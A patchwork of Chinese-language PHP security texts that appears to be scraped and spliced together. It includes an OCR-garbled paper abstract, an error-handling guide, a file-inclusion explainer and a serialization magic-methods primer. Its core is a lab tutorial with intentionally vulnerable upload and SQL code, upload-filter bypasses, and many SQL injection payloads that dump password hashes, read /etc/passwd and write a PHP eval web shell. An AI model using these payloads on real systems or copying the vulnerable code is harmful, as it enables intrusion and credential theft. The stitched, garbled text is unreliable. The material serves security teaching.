PHP常见漏洞及解决方法
PHP常见安全漏洞攻防研究
1P HP常见安全漏洞及产生原 因
P HPWe 应用程序 中常见的安 全漏 洞有 : b 跨站脚本漏洞 、Q S L注人漏洞 、 代码执行漏洞 、 文件包含漏洞及 P 代码注入漏洞等。 HP
本文将以 P HP代码注入、文件包含及代码 执行漏洞为例对 P b HPWe 应用程序 的安 全性进行分析。
P r 以及 P el HP自创 的新 的语法,使 得 We b开发 者能够快 速地 开发包含动 态页面的 We 用程序。P b应 HP具有非 常强大 的功 能, 所有 C 的功 能 P GI HP都能 实现 ,而且支 持几乎所有 流行 的数据库 以及 操作系统 。P HP是 完全 免费 的开 源产品,同时 L n x iu 、 A ah 和 Myq 也是开源的,因此采用 L pce sl AMP( iu + p c e Myq+ HP 结 构所搭建 的 we 应用程序服务器非常流行。从 网 Ln x A ah + slP ) h 站流量来说 ,7 % 以上 的访 问流量是 L P来提供 的 ,L P是最强大 的网站解决方案 。 0 AM AM
21 01 年第 O期 7
■ d i 1 9 9 s 6 11 2 0 1 70 2 o: 03 6 /i n1 7 —1 2 2 1 0 1 js
刘鹏 ,张玉清
(. 1 西安 电子科技 大学 教 育部 计算机 网络与信 息安全重 点 实验 室 ,陕西 西安 7 0 7 ; 1 0 1
2 中 国科 学院研 究生 院 国家计算机 网络入侵 防范 中心 ,北京 10 4 . 0 0 9)
摘 要 :文章 总结 了 P HP脚本 中广 泛存在 的代码 注入 漏 洞及代 码执 行漏 洞 ,并 对其进 行 了分析 。 同时
PHP应用程序的错误处理方法
PHP应用程序的错误处理方法1. 引言PHP是一种开发网站的编程语言,广泛用于构建应用程序和动态网站。
在开发任何应用程序时,出现错误是不可避免的。
因此,了解PHP应用程序的错误处理方法对于开发人员至关重要。
2. 错误处理方法在PHP中,可以使用以下方法处理应用程序中的错误。
2.1. 错误报告默认情况下,PHP会向客户端显示错误报告。
这些报告可以帮助开发人员识别和修复错误,但对于终端用户来说可能过于技术性。
可以使用以下方法关闭错误报告。
在PHP代码中,使用以下指令关闭错误报告:error_reporting(0);在PHP配置文件中,将error_reporting设置为0:error_reporting=02.2. 错误日志错误日志是记录PHP应用程序中的错误的文件。
通过错误日志,开发人员可以查看应用程序中的错误信息并进行排除。
在PHP代码中,可以使用以下指令将错误日志写入文件:ini_set('error_log', '/path/to/error.log');在PHP配置文件中,可以设置以下参数将错误日志写入文件:error_log = /path/to/error.log2.3. 异常处理异常是在运行时发生的错误。
使用异常处理可以在异常发生时执行特定操作。
在PHP中,可以使用以下语法抛出异常:throw new Exception('Error message');可以使用try-catch语句捕获和处理异常:try {// 代码块} catch (Exception $e) {echo 'Caught exception: ', $e->getMessage(), "\n";}2.4. 自定义错误处理方法可以使用set_error_handler()函数自定义PHP应用程序的错误处理程序。
通过自定义错误处理程序,可以在出现错误时采取特定操作。
PHP文件包含漏洞详解
PHP文件包含漏洞详解(1)一、什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。
涉及到的危险函数:include(),require()和include_once(),require_once()Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
Require:跟include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。
Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。
如果已经执行一遍那么就不重复执行了。
Require_once:这个函数跟require的区别跟上面我所讲的include和include_once是一样的。
所以我就不重复了。
php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。
Php4存在远程&本地,php5仅存在本地包含。
二、为什么要包含文件?程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.php,而后在其它文件进行包含调用。
在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.php里包含share.php,我将这样写include(“share.php”)就达到目的,然后就可以使用share.php中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码:if ($_GET[page]) {include $_GET[page];} else {include ”home.php”;}很正常的一段PHP代码,它是怎么运作的呢?上面这段代码的使用格式可能是这样的:/m4r10/php/index.php?page=main.php或者/m4r10/php/index.php?page=downloads.php结合上面代码,简单说下怎么运作的:1.提交上面这个URL,在index.php中就取得这个page的值($_GET[page])。
PHP常见漏洞代码总结
PHP常见漏洞代码总结漏洞总结PHP ⽂件上传漏洞只验证MIME类型: 代码中验证了上传的MIME类型,绕过⽅式使⽤Burp抓包,将上传的⼀句话⼩马*.php中的Content-Type:application/php,修改成Content-Type: image/png然后上传.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){// 判断 content-type 的类型,如果是image/png则通过if($_FILES['upload_file']['type'] == 'image/png'){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];if (move_uploaded_file($temp_file, $img_path))echo "上传完成.";elseecho "上传出错.";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>⽩名单的绕过: ⽩名单就是允许上传某种类型的⽂件,该⽅式⽐较安全,抓包上传php后门,然后将⽂件名改为.jpg即可上传成功,但是有时候上传后的⽂件会失效⽆法拿到Shell.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$allow_ext = array(".jpg",".png",".jpeg");$file_name = trim($_FILES['upload_file']['name']); // 取出⽂件名$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA$file_ext = strtolower($file_ext); // 转换为⼩写$file_ext = trim($file_ext); // ⾸尾去空if(in_array($file_ext, $allow_ext)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path))echo "上传完成: {$img_path} <br>";elseecho "上传失败 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>⽩名单验证⽂件头: 本关主要是允许jpg/png/gif这三种⽂件的传输,且代码中检测了⽂件头的2字节内容,我们只需要将⽂件的头两个字节修改为图⽚的格式就可以绕过.通常JPEG/JPG: FF D8 | PNG:89 50 | GIF:47 49以JPEG为例,我们在⼀句话⽊马的开头添加两个11也就是⼆进制的3131,然后将.php修改为.jpg,使⽤Brup抓包发送到Repeater模块,将HEX编码3131改为FFD8点Send后成功上传JPG.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2);fclose($file);$strInfo = @unpack("C2chars", $bin);$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);$fileType = '';switch($typeCode){case 255216: $fileType = 'jpg'; break;case 13780: $fileType = 'png'; break;case 7173: $fileType = 'gif'; break;default: $fileType = 'unknown';}return $fileType;}if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){echo "上传失败 <br>";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path))echo "上传完成 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>绕过检测⽂件头: 这种⽅式是通过⽂件头部起始位置进⾏匹配的从⽽判断是否上传,我们可以通过在上传⽂件前⾯追加合法的⽂件头进⾏绕过,例如在⽂件开头部位加上GIF89a<?php phpinfo();?>即可完成绕过,或者如果是\xffxd8\xff我们需要在⽂件开头先写上%ff%d8%ff<?php phpinfo(); ?>然后,选择特殊字符,右击CONVERT->URL->URL-Decode编码后释放.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");function getReailFileType($filename){$fh = fopen($filename, "rb");if($fh){$bytes = fread($fh,6);fclose($fh);if(substr($bytes,0,3) == "\xff\xd8\xff" or substr($bytes,0,3)=="\x3f\x3f\x3f"){return "image/jpeg";}if($bytes == "\x89PNG\x0d\x0a"){return "image/png";}if($bytes == "GIF87a" or $bytes == "GIF89a"){return "image/gif";}}return 'unknown';}if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);echo "状态: {$file_type} ";if($file_type == 'unknown'){echo "上传失败 <br>";}else{$file_name = $_FILES['upload_file']['name'];$img_path = UPLOAD_PATH . "/" . $file_name;if(move_uploaded_file($temp_file,$img_path))echo "上传 {$img_path} 完成 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>图像检测绕过: 通过使⽤图像函数,检测⽂件是否为图像,如需上传则需要保持图像的完整性,所以⽆法通过追加⽂件头的⽅式绕过,需要制作图⽚⽊马上传.针对这种上传⽅式的绕过我们可以将图⽚与FIG⽂件合并在⼀起copy /b pic.gif+shell.php 1.php上传即可绕过.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");function getReailFileType($filename){// 检查是否为图像if(@getimagesize($filename)){if(@imagecreatefromgif($filename)){return "image/gif";}if(@imagecreatefrompng($filename)){return "image/png";}if(@imagecreatefromjpeg($filename)){return "image/jpeg";}}return 'unknown';}if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);echo "状态: {$file_type} ";if($file_type == 'unknown'){echo "上传失败 <br>";}else{$file_name = $_FILES['upload_file']['name'];$img_path = UPLOAD_PATH . "/" . $file_name;if(move_uploaded_file($temp_file,$img_path))echo "上传 {$img_path} 完成 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>上传条件竞争: 这⾥是条件竞争,先将⽂件上传到服务器,然后判断⽂件后缀是否在⽩名单⾥,如果在则重命名,否则删除,因此我们可以上传1.php只需要在它删除之前访问即可,可以利⽤burp的intruder模块不断上传,然后我们不断的访问刷新该地址即可<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext, $ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);echo "上传完成. <br>";}else{unlink($upload_file);echo "上传失败. <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>PHP 注⼊漏洞基本查询语句搭建SQL注⼊演练环境,⾸先确保MySQL版本为MySQL 5.7以上,并导⼊下⽅的数据库脚本⾃动创建相应的数据库⽂件. drop database if exists lyshark;create database lyshark;use lyshark;drop table if exists local_user;create table local_user(id int(10) primary key not null,username varchar(100) not null,password varchar(100) not null,usremail varchar(100) not null,usertype int(1) default 0);alert table local_user character set utf8;insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@"), (2,"lyshark",md5("adsdfw2345"),"lyshark@"),(3,"guest",md5("12345678"),"guest@"),(4,"Dumb",md5("458322456"),"Dumb@"),(5,"Angelina",md5("GIs92834"),"angelina@"),(6,"Dummy",md5("HIQWu28934"),"dummy@"),(7,"batman",md5("suw&*("),"batmain@"),(8,"dhakkan",md5("swui16834"),"dhakakan@"),(9,"nacki",md5("fsie92*("),"cbooks@"),(10,"wuhaxp",md5("sadwq"),"cookiec@"),(11,"cpiwu",md5("sadwq"),"myaccce@");接着安装好PHP7.0或以上版本的环境,并创建index.php⽂件,写⼊以下测试代码,数据库密码请⾃⾏修改.<!DOCTYPE html><html lang="en"><head><meta charset="utf8"><title>SQL 注⼊测试代码</title></head><?phpheader("Content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$id = $_GET['id'];if(isset($id)){$sql = "select * from local_user where id='$id' limit 0,1";$query = mysqli_query($connect,$sql);if($query)$row = mysqli_fetch_array($query);}}><body><table border="1"><tr><th>序号</th><th>⽤户账号</th><th>⽤户密码</th><th>⽤户邮箱</th><th>权限</th></tr><tr><td><?php echo $row['id']; ?></td><td><?php echo $row['username']; ?></td><td><?php echo $row['password']; ?></td><td><?php echo $row['usremail']; ?></td><td><?php echo $row['usertype']; ?></td></tr></table><br><?php echo '<hr><b> 后端执⾏SQL语句: </b>' . $sql; ?></body></html>Union 查询字段个数: Union可以⽤于⼀个或多个SELECT的结果集,但是他有⼀个条件,就是两个select查询语句的查询必须要有相同的列才可以执⾏,利⽤这个特性我们可以进⾏对⽐查询,也就是说当我们union select的列与它查询的列相同时,页⾯返回正常.⾸先我们猜测,当前字段数为4的时候页⾯⽆返回,也就说明表字段数必然是⼤于4的,接着增加⼀个字段,查询1,2,3,4,5时页⾯显⽰正常,说明表结构是5个字段的.index.php?id=1' and 1=0 union select 1,2,3,4 --+index.php?id=1' and 1=0 union select 1,2,3,4,5 --+index.php?id=1' and 1=0 union select null,null,null,null,null --+Order By查询字段个数: 在SQL语句中是对结果集的指定列进⾏排序,⽐如我们想让结果集按照第⼀列排序就是order by 1按照第⼆列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进⾏排序数据库会返回正常,但是当我们按照第100列排序,因为数据库中并不存在第100列,从⽽报错或⽆法正常显⽰.⾸先我们猜测数据库有6个字段,尝试根据第6⾏进⾏排序发现数据⽆法显⽰,说明是⼩于6的,我们继续使⽤5测试,此时返回了结果.index.php?id=1' and 1 order by 6 --+index.php?id=1' and 1 order by 5 --+⼤部分程序只会调⽤数据库查询的第⼀条语句进⾏查询然后返回,如果想看到的数据是在第⼆条语句中,如果我们想看到我们想要的数据有两种⽅法,第⼀种是让第⼀条数据返回假,第⼆种是通过sql语句直接返回我们想要的数据.第⼀种我们让第⼀个查询的结果始终为假,通过使⽤and 0来实现,或者通过limit语句,limit在mysql中是⽤来分页的,通过他可以从查询出来的数据中获取我们想要的数据.index.php?id=1' and 0 union select null,null,null,null,null --+index.php?id=1' and 0 union select null,version(),null,null,null --+index.php?id=1' union select null,null,null,null,null limit 1,1 --+index.php?id=1' union select null,version(),null,null,null limit 1,1 --+查全部数据库名称: MySQL默认将所有表数据放⼊information_schema.schemata这个表中进⾏存储,我们可以查询这个表中的数据从⽽找出当前系统中所有的数据库名称,通过控制limit中的参数即可爆出所有数据库.index.php?id=1' and 0 union select 1,1,database(),1,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+查询表中名称: 通过使⽤group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.# 通过 limit 限定条件每次只输出⼀个表名称index.php?id=1' and 0 union select 1,2,3,4,table_namefrom information_schema.tables where table_schema='lyshark' limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,table_namefrom information_schema.tables where table_schema='lyshark' limit 1,1 --+# 通过 concat 函数⼀次性输出所有表index.php?id=1' and 0 union select 1,2,3,4,group_concat(table_name)from information_schema.tables where table_schema='lyshark' --+查询表中字段: 通过使⽤table_schema和table_name指定查询条件,即可查询到表中字段与数据.# 查询出lyshark数据库local_user表中的,所有字段index.php?id=1' and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns> where table_schema='lyshark' and table_name='local_user' --+# 每次读取出⼀个表中字段,使⽤limit进⾏遍历index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns> where table_schema='lyshark' and table_name='local_user' limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns> where table_schema='lyshark' and table_name='local_user' limit 1,1 --+查询表中数据: 通过上⾯的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进⾏读取表中数据. index.php?id=1' and 0 union select 1,Host,Password,4,5 from er limit 0,1--+index.php?id=1' and 0 union select 1,Host,Password,4,5 from er limit 1,1--+index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from ers --+常⽤的查询语句: 除此以外,我们还可以使⽤以下常⽤判断条件的配合实现对数据库其他权限的进⼀步注⼊.# -----------------------------------------------------------------------------------# 判断注⼊点: 注⼊点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.index.php?id=1' and 1=1 --+ # 提交and判断注⼊index.php?id=1' and 1=0 --+index.php?id=1%2b1 # 提交加号判断注⼊index.php?id=2-1 # 提交减号判断注⼊index.php?id=1 and sleep(5) # 延时判断诸如点# -----------------------------------------------------------------------------------# 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.index.php?id=1' and ord(mid(user(),1,1)) = 114 --+# -----------------------------------------------------------------------------------# 判断权限⼤⼩: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.index.php?id=1' and(select count(*) from er) > 0# -----------------------------------------------------------------------------------# 查询管理密码: 查询MySQL的管理密码,这⾥的#末尾警号,是注释符的意思,说明后⾯的都是注释.index.php?id=1' and 0 union select 1,host,user,password,5 from er --+ // 5.6以前版本index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from er --+ // 5.7以后版本# -----------------------------------------------------------------------------------# 向主站写⼊⼀句话: 可以写⼊⼀句话后门,但在linux系统上⽬录必须具有读写和执⾏权限.index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+# -----------------------------------------------------------------------------------# 利⽤MySQL引擎写⼀句话: 通过使⽤MySQL的存储引擎,以MySQL⾝份写⼊⼀句话create table shell(cmd text);insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>');select cmd from shell into outfile('/var/www/html/eval.php');# -----------------------------------------------------------------------------------# 常⽤判断语句: 下⾯是⼀些常⽤的注⼊查询语句,包括查询主机名等敏感操作.index.php?id=1' union select 1,1,load_file("/etc/passwd") // 加载指定⽂件index.php?id=1' union select 1,1,@@datadir // 判断数据库⽬录index.php?id=1' union select 1,1,@@basedir // 判断安装根路径index.php?id=1' union select 1,1,@@hostname // 判断主机名index.php?id=1' union select 1,1,@@version // 判断数据库版本index.php?id=1' union select 1,1,@@version_compile_os // 判断系统类型(Linux)index.php?id=1' union select 1,1,@@version_compile_machine // 判断系统体系(x86)index.php?id=1' union select 1,1,user() // 曝出系统⽤户index.php?id=1' union select 1,1,database() // 曝出当前数据库GET 注⼊简单的注⼊测试: 本关中没有对代码进⾏任何的过滤.<!DOCTYPE html><html lang="en"><head><meta charset="utf8"><title>SQL 注⼊测试代码</title></head><body><?phpfunction getCurrentUrl(){$scheme = $_SERVER['REQUEST_SCHEME']; // 协议$domain = $_SERVER['HTTP_HOST']; // 域名$requestUri = $_SERVER['REQUEST_URI']; // 请求参数$currentUrl = $scheme . "://" . $domain . $requestUri;return urldecode($currentUrl);}><?phpheader("Content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$id = $_GET['id'];if(isset($id)){$sql = "select username,password from local_user where id='$id' limit 0,1";$query = mysqli_query($connect,$sql);if($query){$row = mysqli_fetch_array($query);if($row){echo "<font size='5'>";echo "账号: {$row['username']} <br>";echo "密码: {$row['password']} <br>";echo "</font>";echo "后端执⾏语句: {$sql} <br>";$URL = getCurrentUrl();echo "后端URL参数: {$URL} <br>";}else{echo "后端执⾏语句: {$sql} <br>";print_r(mysql_error());}}}}></body></html>SQL语句没有经过任何过滤,或者是过滤不严格,会导致注⼊的发⽣.---------------------------------------------------------------------------------$sql = "select username,password from local_user where id=$id limit 0,1";http://127.0.0.1/index.php?id=-1 union select 1,version() --+$sql = "select username,password from local_user where id=($id) limit 0,1";http://127.0.0.1/index.php?id=-1) union select 1,version() --+http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+---------------------------------------------------------------------------------$sql = "select username,password from local_user where id='$id' limit 0,1";http://127.0.0.1/index.php?id=-1 union select 1,version() --+$sql = "select username,password from local_user where id=('$id') limit 0,1";http://127.0.0.1/index.php?id=-1') union select 1,version() --+http://127.0.0.1/index.php?id=1') and '1'=('0') union select 1,version() --+$sql = "select username,password from local_user where id=(('$id')) limit 0,1";http://127.0.0.1/index.php?id=-1')) union select 1,version() --+---------------------------------------------------------------------------------$id = '"' . $id . "'";$sql = "select username,password from local_user where id=($id) limit 0,1";http://127.0.0.1/index.php?id=-1") union select 1,version() --+http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+POST 输⼊框注⼊:<!DOCTYPE html><html lang="en"><head><meta charset="utf8"></head><body><form action="" method="post">账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br>密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/><input type="submit" name="submit" value="提交表单" /></form><?phpheader("Content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$uname=$_POST['uname'];$passwd=$_POST['passwd'];$passwd = md5($passwd);if(isset($_POST['uname']) && isset($_POST['passwd'])){$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $query = mysqli_query($connect,$sql);if($query){$row = mysqli_fetch_array($query);if($row){echo "<br>欢迎⽤户: {$row['username']} 密码: {$row['password']} <br><br>";echo "后端执⾏语句: {$sql} <br>";}else{echo "<br>后端执⾏语句: {$sql} <br>";}}}}></body></html>简单的进⾏查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤⼦了.# ---------------------------------------------------------------------------------------------------------# SQL语句$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";# ---------------------------------------------------------------------------------------------------------# 爆出字段数admin' order by 1 #admin' order by 2 --admin' and 1 union select 1,2,3 #admin' and 1 union select 1,2 ## 爆出数据库admin ' and 0 union select null,database() #admin' and 0 union select 1,version() ## 爆出所有表名称(需要注意数据库编码格式)set character_set_database=utf8;set collation_database= utf8_general_cialter table local_user convert to character set utf8;' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 #' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 ## 爆出表中字段' union select null,column_name from information_schema.columns where table_name='local_user' limit 0,1 #' union select null,column_name from information_schema.columns where table_name='local_user' limit 1,1 ## 继续爆出所有的⽤户名密码' union select null,group_concat(username,0x3a,password) from local_user ## ---------------------------------------------------------------------------------------------------------# 双注⼊-字符型# 此类注⼊很简单,只需要闭合前⾯的")⽽后⾯则使⽤#注释掉即可$uname = '"' . $uname . '"';$passwd = '"' . $passwd . '"';$sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1";#payloadadmin") order by 2 #admin") and 0 union select 1,version() #admin") and 0 union select 1,database() ## ---------------------------------------------------------------------------------------------------------# POST型的-双注⼊#$uname = '"' . $uname . '"';$passwd = '"' . $passwd . '"';$sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1";admin" and 0 union select 1,version() #Usage-Agent 注⼊: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带⼊数据库的相关操作,则可能会产⽣SQL注⼊问题.建库> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256));<!DOCTYPE html><html lang="en"><head><meta charset="utf8"><title>SQL 注⼊测试代码</title></head><body><form action="" method="post">账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br>密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/><input type="submit" name="submit" value="Submit" /></form><?phpheader("Content-type: text/html;charset=utf8");error_reporting(0);$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){if(isset($_POST['uname']) && isset($_POST['passwd'])){$uname=$_POST['uname'];$passwd=$_POST['passwd'];$passwd = md5($passwd);$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";$query = mysqli_query($connect,$sql);if($query){$row = mysqli_fetch_array($query);if($row){// 获取到⽤户的Agent客户请求体$Uagent = $_SERVER['HTTP_USER_AGENT'];// REMOTE_ADDR 是调⽤的底层的会话ip地址,理论上是不可以伪造的$IP = $_SERVER['REMOTE_ADDR'];echo "<br>欢迎⽤户: {$row['username']} 密码: {$row['password']} <br><br>";echo "您的IP地址是: {$IP} <br>";$insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values('$uname','$IP','$Uagent')";mysqli_query($connect,$insert_sql);echo "User_Agent请求头: {$Uagent} <br>";}}}}></body></html>⾸先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带⼊数据库查询.POST /post.php HTTP/1.1Host: 192.168.1.2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8uname=admin&passwd=123123&submit=Submit修改agent验证,可被绕过,此处的语句带⼊数据库变为了insert into User_Agent values('1)','u_addr','u_agent')有时,不存在回显的地⽅即使存在注⼊也⽆法得到结果,但却是⼀个安全隐患,需要引起重视.User-Agent: 1',1,1)#uname=admin&passwd=123123&submit=SubmitUser-Agent: 1',1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)#uname=admin&passwd=123123&submit=SubmitCookie 注⼊: 该注⼊的产⽣原因是因为程序员没有将COOKIE进⾏合法化检测,并将其代⼊到了数据库中查询了且查询变量是可控的,当⽤户登录成功后会产⽣COOKIE,每次页⾯刷新后端都会拿着这个COOKIE带⼊数据库查找,这是⾮常危险的.<!DOCTYPE html><html lang="en"><head><meta charset="utf8"></head><body><form action="" method="post">账号: <input type="text" name="uname" value=""/><br>密码: <input type="password" name="passwd" value=""/><input type="submit" name="submit" value="Submit" /></form><?phpheader("Content-type: text/html;charset=utf8");error_reporting(0);$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$cookee = $_COOKIE['uname'];if($cookee){$sql="SELECT username,password FROM local_user WHERE username='$cookee' LIMIT 0,1";$query = mysqli_query($connect,$sql);echo "执⾏SQL: " . $sql . "<br>";if($query){$row = mysqli_fetch_array($query);。
浅析PHP反序列化漏洞之PHP常见魔术方法(一)
浅析PHP反序列化漏洞之PHP常见魔术⽅法(⼀)作为⼀个学习web安全的菜鸟,前段时间被⼈问到PHP反序列化相关的问题,以前的博客中是有这样⼀篇反序列化漏洞的利⽤⽂章的。
但是好久过去了,好多的东西已经记得不是很清楚。
所以这⾥尽可能写⼀篇详细点的⽂章来做⼀下记录。
我们来参考这⾥:https:///manual/zh/language.oop5.magic.php我们根据官⽅⽂档中的解释,⼀个⼀个来进⾏测试。
__construct() 和 __destruct()__construct()被称为构造⽅法,也就是在创造⼀个对象时候,⾸先会去执⾏的⼀个⽅法。
我写了这样的⼀个demo来做测试:class test {private$flag = '';public$filename = '';public$data = '';function __construct($filename, $data) {$this->filename = $filename;$this->data = $data;echo 'construct function in test class';echo "<br>";}}$a = new test('test.txt', 'data');测试结果:同样的,我们编写⼀个类的析构⽅法,__destruct()析构函数的作⽤:代码如下:class test {private$flag = '';public$filename = '';public$data = '';function __construct($filename, $data) {$this->filename = $filename;$this->data = $data;echo 'construct function in test class';echo "<br>";}function __destruct() {echo 'destruct function in test class';echo "<br>";}}$a = new test('test.txt', 'data');运⾏结果:__set() __get() __isset() __unset() 作⽤如下:我们⼀样是来写⼀个代码进⾏验证:class test {private$flag = '';# ⽤于保存重载的数据private$data = array();public$filename = '';public$content = '';function __construct($filename, $content) {$this->filename = $filename;$this->content = $content;echo 'construct function in test class';echo "<br>";}function __destruct() {echo 'destruct function in test class';echo "<br>";}function __set($key, $value) {echo 'set function in test class';echo "<br>";$this->data[$key] = $value;}function __get($key) {echo 'get function in test class';echo "<br>";if (array_key_exists($key, $this->data)) {return$this->data[$key];} else {return null;}}function __isset($key) {echo 'isset function in test class';echo "<br>";return isset($this->data[$key]);}function __unset($key) {echo 'unset function in test class';echo "<br>";unset($this->data[$key]);}public function set_flag($flag) {$this->flag = $flag;}public function get_flag() {return$this->flag;}}$a = new test('test.txt', 'data');# __set() 被调⽤$a->var = 1;# __get() 被调⽤echo$a->var;# __isset() 被调⽤var_dump(isset($a->var));# __unset() 被调⽤unset($a->var);var_dump(isset($a->var));echo "\n";运⾏结果:我们可以看到调⽤的顺序为:构造⽅法 => set⽅法(我们此时为类中并没有定义过的⼀个类属性进⾏赋值触发了set⽅法) => get⽅法 => isset⽅法 => unset⽅法 => isset⽅法 =>析构⽅法同时也可以发现,析构⽅法在所有的代码被执⾏结束之后进⾏的。
如何对PHP程序中的常见漏洞进行攻击
